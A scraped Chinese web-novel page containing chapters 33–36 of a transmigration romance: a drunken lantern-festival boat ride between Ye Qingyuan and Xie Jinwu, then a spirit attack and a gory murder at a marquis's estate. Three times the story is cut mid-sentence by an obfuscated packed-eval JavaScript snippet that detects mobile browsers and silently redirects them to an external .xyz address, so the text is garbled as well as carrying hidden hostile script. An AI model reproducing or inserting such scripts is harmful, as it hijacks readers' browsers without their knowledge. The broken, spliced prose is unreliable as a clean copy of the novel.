;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445945|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是怕这个啊。 叶清圆心中大呼过分。抬眼见谢尽芜,却见他挺直的鼻梁上有一抹红,眸中也有些泪花,想了想,应该是方才磕的。 估计他挺疼的吧。 这么一想,她摸了摸自己毫无感觉的下巴,无声一笑,心里又平衡了。 谢尽芜叫她亲自选了一条小舟,取出银钱付给船家。 叶清圆醉呼呼的,目光发飘,飘着飘着就被别处的亮光吸引了。 谢尽芜见她挪不动步子,烦躁道:“又不坐船了?” 叶清圆伸手一指:“你看那边,真漂亮。” 街上的人比傍晚时还多,摩肩接踵,熙攘热闹。河岸边垂柳的树梢悬系了各色彩灯,灯下的面孔俱是喜气洋洋。 千花河面上忽有亮光淌过来,一朵朵设了蜡烛的水莲灯绽放在涟漪微漾的河面,随流水颤巍巍地漂散而去。 那薄薄的灯罩里有字,均是岸边百姓亲笔写下的祝福之语,有盼望学业有成、生意兴隆的,也有写身体康健、阖家安乐的。 更多的则是郎君小姐共写一盏灯,期盼与心上人修得圆满。 花灯如昼,漫若银河。 谢尽芜的视线落在旁边正写祝福语的母子身上,隐在垂柳阴影中的眉眼蓦地怔了怔。 那是个不满六岁的小孩子,正处在换牙的年纪,在纸条上写下的笔迹也很稚嫩,甚至有几分丑。 他的娘亲在旁看着他写,满眼却都是温柔的笑意。 小孩子搁下笔的同时,他的父亲也捧着三碗豆乳回来了。母亲点燃莲花灯里的蜡烛,三人挨得紧紧,一起将那莲花灯放在了水面。 他们脸上的笑容幸福得简直要晃人眼睛。谢尽芜的眸光淡淡,神情竟一时有些恍惚。 “谢尽芜,我们也放花灯吧?”叶清圆晃了晃他的手臂。 谢尽芜回过神来,眼睫低垂,掩住了眸中的落寞,冷声道:“不是要坐船回家吗?” “那个待会再说,现在有对我来说更重要的事。” 什么重要的事? 叶清圆扬起脸笑,努力将带了醉意的目光凝聚在他面上,郑重其事地说:“谢尽芜,我们放花灯,好不好?” 有调皮的孩子牵着花灯嬉闹,笑声汇入两岸熙攘络绎的人群中。 叶清圆买了两盏莲花灯,向老板借了笔。她醉意上涌,提笔写字时视线不太聚焦,手腕也隐隐颤抖着,写出来的字便有些鬼画符。 像是上课犯困时记的笔记,凌乱中有种沟通阴阳的效果。 无论如何,心意到了就好。 画好之后,她将纸条卷好贴在灯壁,点燃蜡烛。亮光从莲花灯的花蕊漏出来,一簇明亮的火苗燃烧在她的手心。 火光明亮,承载着百姓们平凡而朴实的心愿。 抬眼看,谢尽芜提着笔垂眸沉思,竟像是一笔未动的样子。 “有什么愿望吗?” 谢尽芜的唇角勾起一抹笑容,带着略微的嘲讽。 “没有。”他搁下笔,“这种东西,本就是虚妄的自我慰藉,毫无用处。” 34. 许愿 “许愿、许愿,倒也并非全然是虚妄之事。这莲花灯上的文字本就是承载了人们内心朴实却真切的目标。有了目标,日子也就有了奔头嘛。” 叶清圆的语调温柔,近乎是在哄他:“其实人生就是这样的,有美好的愿望,有前进的动力,最重要的还有付出努力,慢慢就可以把生活过好的。” 谢尽芜听完她说的话倒没多大感触,反倒是有些悲凉的意味。 他实在没什么美好的愿望。那些关于复仇的、太过血腥残忍的念头不便与人言,更不可能写到莲灯里。纵使他再渴望,也只能将之埋在心底,除了神鬼,便只有他自己知晓。 他将笔搁在桌上,不打算写了。 “真的没有吗?”叶清圆循循善诱,“比如,你对自己今后的生活有什么——展望?” 原书里的谢尽芜在复仇之后就引颈自刎,可见他骨子里其实是悲观消极的。他活了十九年全靠一股复仇的意念撑持,复仇雪恨后,他就连活下去的动力也没了。人生倏忽失去方向,入眼处处皆是虚无。 他其实是个没有自我的人。少时流浪,入希夷殿后活得也像个杀人机器,如今他满脑子都被复仇的念头占据,所谓端方有礼也不过是用来行走四海的伪装。他没有半点关乎自身的念想。 这怎么可以?无论大小,人总是该有个堪称“不错”的念想,大到人生展望,小到眼下的一顿美食,总归是能撑持自己活下去的动力。若是长久虚无,精神世界迟早会崩塌的。 谢尽芜此刻就处在这种状态。他除了复仇什么都不想,也不见他对别的事物有什么喜好,说他“清心寡欲”那都是抬举他。 “好吧,既然没有愿望,那我就祝你——” 叶清圆将他的纸条拿来,思索一瞬,提笔写下八个字:“春日载阳,福履齐长。” 她两只手捧着这张纸条,献宝一样递过去,望向谢尽芜的眸光澄净而温柔。 同样是有些歪斜的字体,谢尽芜的目光落在她手心的纸条,眼眸微不可察地颤抖。 他像是在冰雪地里枯萎了太久,满心都是严寒。眼望着那一点似曾相识的明暖亮光,却迟疑着不敢靠近。 就像他的名字一样,万物俱灭的灰烬,寸草不生的荒芜。 “为什么是春日?”他薄红的唇有些颤抖,碎发轻柔地拂在眉骨,是一派脆弱的俊美。 “因为你的名字啊,平芜尽处——”叶清圆眼含醉意地笑了,“是春山。” 天幕澄澈,一朵烟花砰地在夜空炸开,万道金光如雨落。 街上的热闹气氛在这一刻被推至巅峰,人声鼎沸。 “等明年春天,我们可以一起办春日宴,过花朝节,好吗?”叶清圆笑道,“还没有和谢公子一起看过春天呢。” 谢公子生得模样这么好,若是换上一袭红衣,鬓边也簪了春花,不知该有多好看。 ——这句话她却不敢讲出声,倒像是在故意冒犯他,且有损于她矜持的形象。 谢尽芜站在河岸旁,面如冰雪,唇红齿白,一双殷润乌黑的眼眸宛如深潭,映照出满河熠熠的花灯。 他的视线落在叶清圆的侧脸,目不转睛,连眨眼都舍不得。看似平静冷漠的外表下,呼吸轻颤,一颗心跳动得紊乱不已,如急雨落在湖面,溅起涟漪不息。 他轻声道:“好。我也不曾……” 不曾见过春日宴,不曾看过花朝节,他其实不太能体会,那些宴会与活动究竟有什么好? 可若是和你一起,倒是…… 身畔嘈杂,叶清圆没听清:“什么?” 谢尽芜抬起眼帘,这次眸光隐约温柔些许:“没什么,放花灯吧。” “嗯,好。”叶清圆将两盏莲花灯轻轻放在水面,手腕一转,就此推了出去。 两盏莲灯随水流缓慢而平稳地漂向远处,逐渐与其他花灯汇聚,融进那道璀璨流淌的莲灯银河。 “你写了什么?”谢尽芜趁她站起来的当口,轻声发问。 “爹娘身体康健。”叶清圆的眼中笑意有些悲伤,“就算我不在他们的身边,也希望他们永远开心、幸福。” 她不能再回到原来的世界里,可却盼望思念与愿望可以穿梭过去,到达他们的身边。 谢尽芜的目光落在她脸上。 今晚的微风里定是掺了酒,他只是看着她,便晕眩得好像要醉了。 叶清圆被河面上浮现的星星点点的灯光晃得眼花缭乱。为免失衡摔倒在地,她干脆抱住谢尽芜的手臂不放了,笑吟吟道:“好了,灯放好了。你要带我回家了吗?” “……是,”谢尽芜的手臂在她靠过来的一瞬间变得僵硬,“但你先放手。” “不要,我会摔倒的。” “我先把你送到船上去,否则你怎么回家?”谢尽芜的手掌按在她的肩头,用力推开她依偎过来的娇软身躯,“……不知羞。” 两个人沿河向北走了一会儿,叶清圆才糊里糊涂地问他:“我又怎么了?” 此处花灯早已撤下,唯余柳梢轻扬,光线昏暗。谢尽芜微红的耳廓掩藏在雾沉沉的夜色中,不为她所见。 他没作声,扶好叶清圆的肩膀,而后矮下.身,结实的双臂托住她的腰肢和大腿,又是方才那种抱小孩子的抱法,将她稳稳当当地抱在了怀里。 叶清圆条件反射地搂住他的肩膀,猝不及防间手指还扯了一下他的头发,引得谢尽芜眉心微蹙:“不想摔进河里,就老实一些。” “……哦。” ——若是敢吐,就把你扔进河里。 ——不想摔进河里,就老实一些。 不过两刻钟,态度就发生如此大的变化。看来谢尽芜此人是挺好哄的。 叶清圆乖乖地不动了,两条手臂绕过他的肩颈,整个上半身都压在他身上,仿佛抱住救命稻草一般。 小舟泊在水面,随着客人上船的动作,发出清脆的水声。涟漪层层荡漾开来,月光之下亮得晃人眼睛。 谢尽芜已经稳稳当当坐在舟上,她却仍旧紧搂着人不放。 他松开手,抬袖去掰开她的手臂。 女孩子的身躯柔软,因吃了酒而散发出温热来。方才放花灯时她出了些薄汗,身上那股甜腻的香气弥漫开,掺着醉人的酒香与花香,丝丝缕缕地往他鼻腔里钻。 谢尽芜还未发脾气,她却抱紧了他的颈项,先告起状:“你不要总是晃,晃得我都快要掉下去了!” 谁晃了? “……叶清圆,松手。”谢尽芜垂下浓睫,压抑着眸中翻涌的复杂情绪,嗓音也沙哑许多,“你是想勒死我吗?” 叶清圆借着朦胧的月光扭脸看去,他的耳尖不知何时泛了红,脸颊也是红。 想必是她的胳膊缠得太紧,他快要窒息。 “啊……抱歉。”叶清圆满怀愧疚地松开手臂,可惜身躯酸软使不上力气,止不住地往下滑,焦急道,“喂,谢尽芜!扶我,快扶我呀。” 谢尽芜一点也不扶着她,任由她慢慢滑落到木船上,摔了个结实的屁股墩儿。 从哪里跌倒,就从哪里躺下。叶清圆深谙此道,就势歪倒在小舟上,咸鱼似的哼唧了一声。 “你真是无情。” 小舟慢慢地荡,耳畔传来潺潺的流水声。 她吃力地扬起脸,却正对上谢尽芜那双清透漠然的眼瞳,不禁疑惑道,“你怎么有四只眼睛呢?” 又眨了眨眼:“不对,是两只。刚才是我看走了眼。” 谢尽芜拂了拂被她弄乱的衣袍,耐着性子叹了口气,还是帮她把姿势调整好,叫她躺得舒服一些:“你喝醉了。” “不会的,那只是两壶果酒而已,我没有醉。”叶清圆摇着脑袋,发间的金丝小簪发出清脆的声响,“都怪你方才抱着我一直晃,不晕也要被你晃晕了。” 分明是船在晃,她在闹,怎么怪在他的身上了? 谢尽芜:“和醉鬼讲不了道理的。” “你不要笑话我。”叶清圆很小声地据理力争,语气中流露出一丝委屈来。 她的双眼半阖,仰头看着漫天繁星,眼眸中竟也奇异涣散出流淌的星光。 谢尽芜于是住了口,一双清澈如冷泉的眼珠定定地看着她。 澄澈的天幕之下是连绵起伏的莲叶,舟往前,水往后。皎洁月影掩藏在涟漪轻漾的河面之下,像是一束迷滂的光追随在船尾。 他鬼使神差地低下头,浓纤的睫毛低垂,凑近了她尚且酡红的脸颊。 小舟在河水里飘荡,河面洒满了花瓣,涟漪阵阵。岸边的喧闹与灯火已然离得远了。他们头顶皎洁星月,朝着莲花深处而去。 谢尽芜的眼珠一瞬也转不动了,二人的距离前所未有的近。他闻到她呼出的带着清冽甜香的果酒味道,混着唇瓣上胭脂的甜腻香气。 她的额心以朱笔画了花钿,朦胧夜色都掩不住的凤凰花的绚烂热烈,皎洁月下像是一簇盛放的火。 气息变得灼热。鼻尖几乎相触的瞬间,叶清圆的睫尾轻颤,目光移到他面上,神情现出迷茫:“谢尽芜?” 谢尽芜双眼大睁,如梦初醒般直起了身子,惊出一身冷汗。 他的脸色一瞬间变得沉冷如冰,薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445946|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的唇抿得紧紧。 他故作镇静地掠了她一眼,冷声道:“干什么?” “我有点口渴。” “谁叫你喝那么多酒?”谢尽芜颔首看她,压抑着胸腔中剧烈的心跳,神情严肃,“那怎么办?” 叶清圆伸出手,拉了拉他搁在膝头的手腕,露出一个讨好的笑容:“你把那半壶酒给我吧?” 谢尽芜怒道:“不是说买给我的吗?” 随后,他心念一动,想到了什么,脸色霎时变了:“好好说话,不要撒娇。” “没有撒娇。”她的手干脆不放开了,细嫩温热的手心按在他的手背上,晃了晃,“你给我吧,我要渴死了。” 谢尽芜被她喊得额角青筋直跳,本就不太沉静的心里仿佛有烈火在烧:“你看得清楚我是谁吗?” 叶清圆大睁着迷离的双眼,神情专注地看了他片刻,笑盈盈地故意气他:“你是小谢公子。” “什么小谢公子?不成体统。” 叶清圆故作茫然道:“你不是谢尽芜吗?是小谢公子呀。” 谢尽芜眼中的薄怒被她浇下去一点,手指卸了力道,那酒壶就被她拽着抢了过去。 叶清圆眸光涣散地仰躺在小舟里,脸颊与颈项的肌肤皙白得直晃人眼。她拿着酒壶很小心地抿了一口,艳红的唇瓣被沾得湿润,邀功似的:“你看,我只喝了一小口。” 谢尽芜头疼地别过脸去:“谁管你,不必告诉我。” “谢尽芜,你的脸好红。”她将剩下半壶酒抱在怀里,又伸长手臂去探他的额头,“是发烧了吗?” 云雾似的衣袖沿着手臂滑落,细腻温热的手心覆在他微凉的额头。 谢尽芜殷润黑亮的眼睛一瞬大睁,右手背青筋暴起,下一刻就要忍不住扼住她脆弱的咽喉。 叶清圆毫未察觉、犹嫌不足,探过热度后,并没有及时撤回手。 她盯着他的脸,手心下移,指腹擦过他秀挺优越的眉骨和鼻梁,到最后,指尖点在他的唇畔。 忽然就怔怔地笑了:“你真好看。” “有没有人告诉过你,你笑起来特别好看。”叶清圆有些不舍地收回手,手腕随意搭在平坦的小腹上,眼眸中闪着温柔的光芒,“以后你可以多笑吗?” 谢尽芜脸上怒意瞬间被惊讶取代,眼睛一点点睁大,冷泉般黑亮殷润的眼眸中满是错愕。 叶清圆满眼笑意地望住他,红唇轻启:“好吗?” “不好。”谢尽芜抿了抿唇,偏过脸去避开她温柔的目光,冷声道,“我有什么好看,那个白衣公子才是好看。” “白衣公子?”叶清圆一听眉头就皱起来了,费劲巴拉地想了半天,都没想明白他的话,摇头道,“……不管他是谁,总之都不如你。” 谢尽芜低下头,慢慢靠近她。 两人之间的距离不断缩短,她的呼吸中带着清甜凛冽的酒香,萦绕在他的鼻端。 谢尽芜压低了声音,忽然觉得自己有些难堪,有些难以启齿:“今天上午,在千花河畔的时候。” “噢,”叶清圆的脑筋迟钝地运转着,终于想起来了,“我是在看侯爵府的车啊。” 她痴痴地笑了起来,声音带着醉酒后独有的倦懒:“你以为我在看别的公子吗?所以才这么耿耿于怀?” “真的在看马车吗?” 叶清圆半阖着眼:“你觉得呢?难道我连马车也不许看?” 谢尽芜直起身来。尽管是被她嘲笑了,眼里却没有半点怒意。 叶清圆笑了他半天,笑得他耳根发红眼神飘远都不知该看何处,低着头无奈道:“别笑了。” 她乖乖地收敛了笑声,可是嘴巴却不肯停:“还有,谢尽芜,你怎么变了,怎么学坏了?都会跟我开玩笑了。” 谢尽芜垂着头,眼睫掩在秀挺眉骨投下的浅浅阴影中,看不清神色:“说什么醉话,我没有与你开玩笑。” “怎么没有?”叶清圆据理力争,“一次是画符的时候,还有一次是我用虾灯和那些小朋友玩儿的时候。” 她扯住他的衣角:“你有啊,你今天和我开了两次玩笑呢。” 她竟记得这么清楚。 谢尽芜略显迷茫地垂眸看她,晚风中弥漫的酒气让他产生一种醉醺醺的错觉。 他轻声问:“你很讨厌我这样吗?” “不,没有讨厌。”叶清圆拽着他的衣袖不放,费劲地思索着,“……也没有不喜欢。” 没有讨厌,也没有不喜欢。 谢尽芜看着她柔软红润的唇瓣,有些茫然地想:那这是何意? 35. 对视 月光泠泠,谢尽芜安静地坐在船尾,瓷白干净的脸颊被水中月影镀上一层清冷的光。 他压抑着胸中翻涌的烦躁,皙白的手背上缓缓有青筋脉络浮现。 “谢尽芜,你有什么烦心事吗?”叶清圆抱着酒壶仰脸看他,薄薄的衣衫勾勒出她纤细柔婉的身段。 “没有。”谢尽芜伸手就把她的酒壶夺走了,淡声道,“别胡乱揣测。” “……你好闷,谢尽芜。” 不知怎的,她今晚特别喜欢叫他的名字。整个人软绵绵的都快醉晕了,口齿含混不清地,拖着慵懒娇憨的声调,叫得他仿佛百爪挠心。 她被抢走了酒壶也不恼,低头枕着小臂轻笑起来,笑声如银铃般清脆悦耳,“你知不知道,你掩盖心事的手段,其实特别拙劣。” 谢尽芜最讨厌别人看穿他的内心所想。他压着满心沸腾的火气,强作镇静地挑眉:“你能看出我有心事?” “这还不简单?掩藏得再好,也总有一些小细节会暴露你的内心所想。” 叶清圆无意识地用指尖点了点他的衣袖,眼睛却在盯着澄澈的夜幕,仿若自言自语道:“你听说过一句话吗?喜欢一个人是藏不住的,即使嘴巴不说,爱意也会从眼睛里跑出来。” 她的喃喃轻语,如雷声般重重响在谢尽芜本就不甚平静的心头。 他的脊背一瞬间绷紧了:“你在胡说些什么?” 叶清圆意识混乱:“我在给你举例子。” 谢尽芜浓秀的眼睫垂下来,一颗心也从嗓子眼慢慢回落,竟有种劫后余生的感觉。 她阖上双眼,费劲地整理了一下思绪,才自顾自地分析起来:“再比如手指。先前好几次我们聊起白玉吊坠的时候,你的手指用力得都快要把酒杯捏碎了。这些事,你自己都没有注意到吧?” 谢尽芜习惯性地抿起唇,冷声道:“那又能说明什么?” “你口中是满不在乎的模样,可是你的手指却暴露了你的内心所想啊。” 叶清圆说了那么长一段话,神志终于告罄,胆大包天地轻声笑道:“……笨死了。” 她笑着,连柳叶般的眉梢都染上了得意。 谢尽芜拿着酒壶,眉心冷冷地蹙起:“你说这些到底是想表达什么?” “我想说,”叶清圆咸鱼似的翻过身来,娇嫩温热的手心拢住他修长的指节,“你以后可以把事情都讲出来的。我们既然是朋友,那你的困难我就一定会想办法帮你解决的。” 男生的手指没那么细嫩,骨节微突,瓷白的皮肤下掩藏着脉络分明的青筋。 她拽着他的手不放,慢慢地笑出来:“所以,不要总是把事情都憋在心里,好吗?” 谢尽芜目光沉静地注视着她,眼眸中没有任何波澜,看不出是理智过头,还是大脑宕机。 他强硬地将手指从叶清圆娇软的手心抽出来,一张脸冷得欺霜胜雪:“人不应该暴露自己的软肋。” “你是怕我会借此伤害你吗?”叶清圆不自觉地手握成拳。 他指腹的薄茧擦过手心,粗糙的触感仍残留着。 “你放心好了,就算这世上所有人都伤害你,我也不会。” 毕竟还要抱他大腿、攻略他。然后她才可以不用去替换江云初的命格。 她怎么会拎不清去伤害自己的救命恩人? 谢尽芜隔着河面升起的朦胧水雾看她,她的脸颊酡红,眼神迷离,一副醉鬼的模样。 可偏偏那红润的唇瓣又弯起,衬着雪一般的颈项和下巴,红梅白雪,有种震人心魂的娇美。 他的眉头慢慢蹙起来,薄唇微动,却没能说什么。 谈到这种地步,局面就好像是僵住了。 叶清圆的眼神涣散,意识迟缓,眼皮沉重得快要阖上,再说不出什么有条理的话来,谢尽芜亦是沉默。 小舟缓缓穿行在接天的莲叶之下,清甜冷冽的花香雾一般从四面缠绕过来。 半晌,谢尽芜垂下眼睫,见她昏昏欲睡,便伸手钳住她的下巴,稍微使了些力,叫她清醒,同时轻声道:“你还能看出什么?” “……什么?”叶清圆的脑子困倦极了,“看出什么来?” “嗯。” 谢尽芜垂睫看她,眼眸掩在眉骨投下的阴影中,露出连他自己都察觉不到的微弱期待。 叶清圆眼神涣散地看着他,看了半天,才隐约看见他浓秀的眉毛与挺直的鼻梁。 她有些倦懒地笑出来:“你的眼神。你现在看我的时候,就好像今晚喝了两壶醉千钟的人不是我,而是你。” 她的话像是一记重锤砸在他的心口,谢尽芜的眼睛蓦地睁大。 莲叶无穷无尽,小舟在狭窄的河道穿行,连吸入肺腑的空气仿佛都变得稀薄了。 他的腰背僵直,上半身不自觉地向后仰去,逃避一般,耳中回荡着不知是谁的隆隆的心跳。 蒲扇大的荷叶遮住了皎洁月色与河岸影影绰绰的灯光。 叶清圆撑着身体半坐起来,神情认真地去看他,口中自言自语道:“可是你现在在想什么呢?我看不清你的眼睛了。” 她努力地仰头起身,手心扒住谢尽芜的膝头,一点一点地往上探着身子,要去看他的眼睛。眼前却忽然一暗,视线猝不及防地被阴影笼罩住。 她被谢尽芜一手按在脸上,按了下去。 他的手掌宽大,罩住她整张脸还绰绰有余。指腹已经摸到了她的头发,掌心却蹭了她唇瓣的口脂。 “是你要问,”她两只手胡乱抓住他的手掌,委屈地抗争道,“我看不清,你又不高兴。” 谢尽芜的手掌被她恶狠狠地用力抱住,抽也抽不回来。 “谢尽芜,你以后也会用这种眼神看别人吗?”叶清圆的脑子彻底不清醒了,她的眼睛亮闪闪的,湿润柔软的唇瓣吐出的尽是些胡言乱语,“就像你现在看我一样。” 谢尽芜的脸色一黑,冷硬道:“……会。” “……哦。”叶清圆脸上的笑意蓦地僵住了,端丽漂亮的眼珠中满是失落,“不行,不可以。你不准用这样的眼神看别人。” 她摇着头,鬓发间的金丝花簪和宝钿轻轻相撞,清脆悦耳的响动荡开在熏人欲醉的夏夜晚风中。 谢尽芜轻笑一声,语气是他自己都察觉不出的柔和:“你觉得自己是谁?还想要管我怎么看别人?” 这句话好像真的难住了叶清圆,她牢牢地抓住谢尽芜的手臂,脸上神情却现出许久的茫然。 “……也是啊。我确实没有资格说这种话,至少现在没有。” 她慢慢地松开了抱住谢尽芜不放的手,泄力般地躺倒在小舟里。 谢尽芜垂眸看了她半晌,低声道:“睡吧,等你醒来,就到家了。” 叶清圆忽然不动了,神情惘然了好大一会儿,最终叹息着闭上眼,怕冷一般将自己蜷缩起来。 “……不会的,我回不去了。” 谢尽芜颔首避过亭亭莲叶,繁茂的叶片遮住了月光与灯火。他的脸颊掩在阴影中,叫人看不清神色。 “系统提示:恭喜宿主,角色【谢尽芜】对宿主的好感度已经升至55%!” 小舟随着水波轻轻荡漾,叶清圆彻底睡死过去,冰冷的机械提示音也没能让她的意识回笼半分。 - 夜半时分,月凉如水。 潘淳玉的睡眠极轻,任何轻微的动静就有可能惊醒,这须归功于潘老侯爷对两个儿子毫不松懈的严苛训练。 他睡时习惯于遣散所有侍卫、丫鬟,檐下的银铃铛被他亲手拆除,院内除他自己之外不留任何活物,唯在枕下放一柄银色短刀。 整个侯爵府都已歇下。 寂寥幽暗的院落中,忽而响起松枝坠落的断裂声。 潘淳玉并未睁开双眼,薄薄的眼皮之下,眼珠极敏锐地动了动。 他放轻了呼吸。 有脚步踏在莲花纹的青砖上的声音。 来人的步伐飘忽虚浮,不疾不徐,带着几分漫不经心的意味。 一片薄薄的云翳被风推着,遮住了皎洁的圆月。 清辉被蒙蔽,松枝摇曳,院落中变得昏暗沉闷起来。 潘淳玉缓缓地睁开双眼,反手从枕下抽出短刀,一双冰冷狭长的眼眸清醒无比,仿佛从未入睡过。 他翻身下床,拨开垂下的帐幔,视线飞速扫过周遭的动静。靴底踩在厚重的地毯上,轻得没有任何声响。 院子里的足步声顿住了,幽寂的深夜,唯有晚风穿过松树间隙发出的呼啸声。 潘淳玉却始终未停,手持短刀经过直棂窗的时候,他抬眼向外扫过一瞬。 视线越过推开的一道窗缝,隐约可以瞧见,那空阔冷清的地砖上被拖出长长一道影子,竟像是站了个人! 他握紧了手中短刀,神色在一瞬间变得冷厉。短刀出鞘,朦胧的月华泼洒,雪亮的刀背上,繁复符咒的纹路隐约浮现。 “潘郎。” 还未等他推门杀出去,一道柔婉的、满含期盼的声音忽而在外头响起。 潘淳玉的眼睛蓦地大睁,眸中的戾气与狠意骤然消散。他震惊到了极点,以至于连神情都出现了一瞬的茫然,持刀的手隐隐颤抖起来。 那道声音又唤他:“潘郎。” 这次,带了些楚楚可怜的意味。 潘淳玉浑身都僵住了,声音里带着难以置信的颤抖:“婉婉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445947|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他满怀着迫不及待的心情推门而出,力道之大甚至掀起冷风一阵,地上散落的松枝被风吹动,刮擦过砖面。风中有股清幽的冷香。 冷风拂过正红描金的裙角,裙上禁步发出轻微的脆响。 潘淳玉整个人都呆怔住了,他的视线随着那禁步上的金器一寸寸上移,从绣制了祥云瑞鹤的霞帔到大衫领口繁复的金扣,愈往上看心跳愈烈,他的喉结滚了滚,视线最终定格在那人小巧莹洁的下巴上。 不必再看了,是他再熟悉不过的人。在看清女子面容的那一瞬间,潘淳玉的眼眶立时红了,他放松了持刀的手臂,柔声唤道:“婉婉!” 他上前一步,眼中有水雾浮起:“你……你终于肯来见我了么?” 婉婉的唇角微抿着,乌黑的大眼睛里蓄满了泪水点点:“潘郎,我好痛。” 她粉嫩的唇委屈地撇着,眼尾那点小痣便显得尤为惹人爱怜。潘淳玉的心都软成了一滩蜜,哄道:“你哪里不舒服,告诉我,好吗?” 正红的大袖抬起,婉婉伸手指了他的手。 “这个?”潘淳玉试探着将短刀举起。刀光闪过的一瞬间,婉婉立刻露出了痛苦至极的表情,捂住眼睛,踉跄着后退。 “婉婉不怕,我把刀扔了便是。”潘淳玉随手将短刀掷到一旁,像是扔掉一张废纸。 他的目光满含神情,始终盯着婉婉的脸庞,“现在好些了吗?婉婉。” 婉婉抬起眼,一双秋水般的眼眸黑白分明,看得潘淳玉心肝一颤。 她抬手捂着心口,纤纤长眉蹙起一个惹人怜的弧度,柔弱道:“潘郎,我近日总是心口疼,你可替我看看?” 潘淳玉怔了怔,犹疑道:“婉婉,你都……那什么了,心口还会疼啊?” 婉婉羞红了一张脸:“怎么不会?” 她闹别扭似的转过身去不理他,头顶花冠的莹白珍珠相撞,发出清脆的声响。 “好、好,是我的错,我不会讲话。”潘淳玉忍不住笑,立刻改口道,“来,转过身来,让我看看。” 婉婉又矜持了一会儿,才含羞带怯地转过身来,缓步走到潘淳玉的身前。 她仰头望着潘淳玉,身上的清甜冷香一蓬蓬地渡过来。 “这几日我的心口好痛,就好像是心脏被什么东西穿透一样。”她哀哀地看着他,“有时低头,还会发现,心口竟长出了树根。” 潘淳玉的手顿在半空,眉梢挑起:“树根?” “嗯,”婉婉慢慢地走近他,语声轻柔,仿若呢喃,“沾着泥土的树根,就那样狠狠地穿透我的心脏,在我的胸腔里扎根、存活……” 潘淳玉默不作声地后退一步。 “将我的五脏六腑捣烂,碾碎成一滩血肉模糊的泥。我想要呼救,可是泥土压在我的胸口,我丝毫动弹不得。”婉婉步步紧逼,目光哀戚,“潘郎,你能想象那样的痛苦吗?” 潘淳玉叹了口气:“婉婉,别闹了。改日我就命人给你迁坟,好吗?” “迁坟?” “婉婉”的秋水般的眼眸骤然变得狠戾,她面目狰狞地扑上来,两只手指的指甲锋利如刀,直直刺向潘淳玉! 与此同时,薄雾弥漫的院落里忽而浮起漫天的槐花,槐花化作雪白的利刃,从四面八方攻袭而来。 “咔嚓!”一声,潘淳玉面不改色地拧断了她的手腕。 “婉婉”的眼睛睁大,脸上却没有丝毫手骨被断的痛苦:“你早就看出来了?!” “婉婉才不会这样和我说话。”潘淳玉眼中笑意尽消,掌心在她的额头狠狠一拍,一道符咒竟就此印在了“婉婉”的额心! 下一秒狂风大作,“婉婉”的面容扭曲变形,浑身皮肤如蛛网般裂开、融化,散作漫天雪白的槐花。 潘淳玉后撤半步,掌心的符咒明灭,雪白的槐花坠落在他的脚边。 他的视线仍旧望向“婉婉”站立的方向,那里没有凤冠霞帔,唯有一株蓝色的绣球花开得烂漫热烈。 “婉婉才不会唤我潘郎。” 唯一唤他“潘郎”的那次,还是为了刺杀他。 潘淳玉垂下眼帘,眼睛掩在眉骨投下的阴影中,看不清里头是什么情绪:“她恨不得我死了才好。” 薄薄的云翳移开,皎洁的清辉泼洒下来,照亮他漠然却苍白的脸。 潘淳玉在那株绣球花前面站了足足一刻钟,拳头松了又紧,直到满地的槐花都被风吹散,才恍如梦醒般转身回房。 在他抬手推门的瞬间,一道凄厉的惨叫声忽地划破了寂静的夜空! “杀人了!” “救命!杀人了!!有鬼啊——” 潘淳玉的瞳孔蓦地收缩。 36. 槐妖 殷红的鲜血已经染透了湖水,浓重的血腥味在晚风里弥漫扩散开来。 有丫鬟受不住这样刺鼻的味道,惊疑交加之下,捂着嘴巴忍不住发出阵阵干呕,恐惧的泪水遍布满脸。 绿木繁茂的湖边,一名仆人跪坐在冷硬的卵石上,湖面粼粼水波反射月光,潘府众人清晰地看见,那仆人的脸上竟汩汩地流出血来! 他浑身的皮肤没有一处不溃烂,脸颊上的血肉翻出来,露出藏在其中的细小刀片。 他的眼珠和眼皮都被捣碎了,血混着肉泥淌下来。两个眼眶空洞地大睁着,本该是眼珠的地方却被塞满了雪亮的刀。 车夫冯力站在他的身前,宽大的手掌按在他的天灵上,手指糊满了碎掉的血肉。 几名侍卫举着火把站在湖边,却迟迟不敢靠近。火光照亮他们因惊惧而扭曲的脸庞。 “咔嚓”一声,冯力转过僵硬的脖子,一双空洞灰暗的眼睛“望”着在场众人。 火光照耀之下,他的脸颊消瘦得凹陷下去,面色青灰如尸。 “是……是冯力杀的!我们都看见了,是冯力杀的!”有人颤抖着声音道,“他的袖口飞出了槐花,把人的脸都给划烂了!” 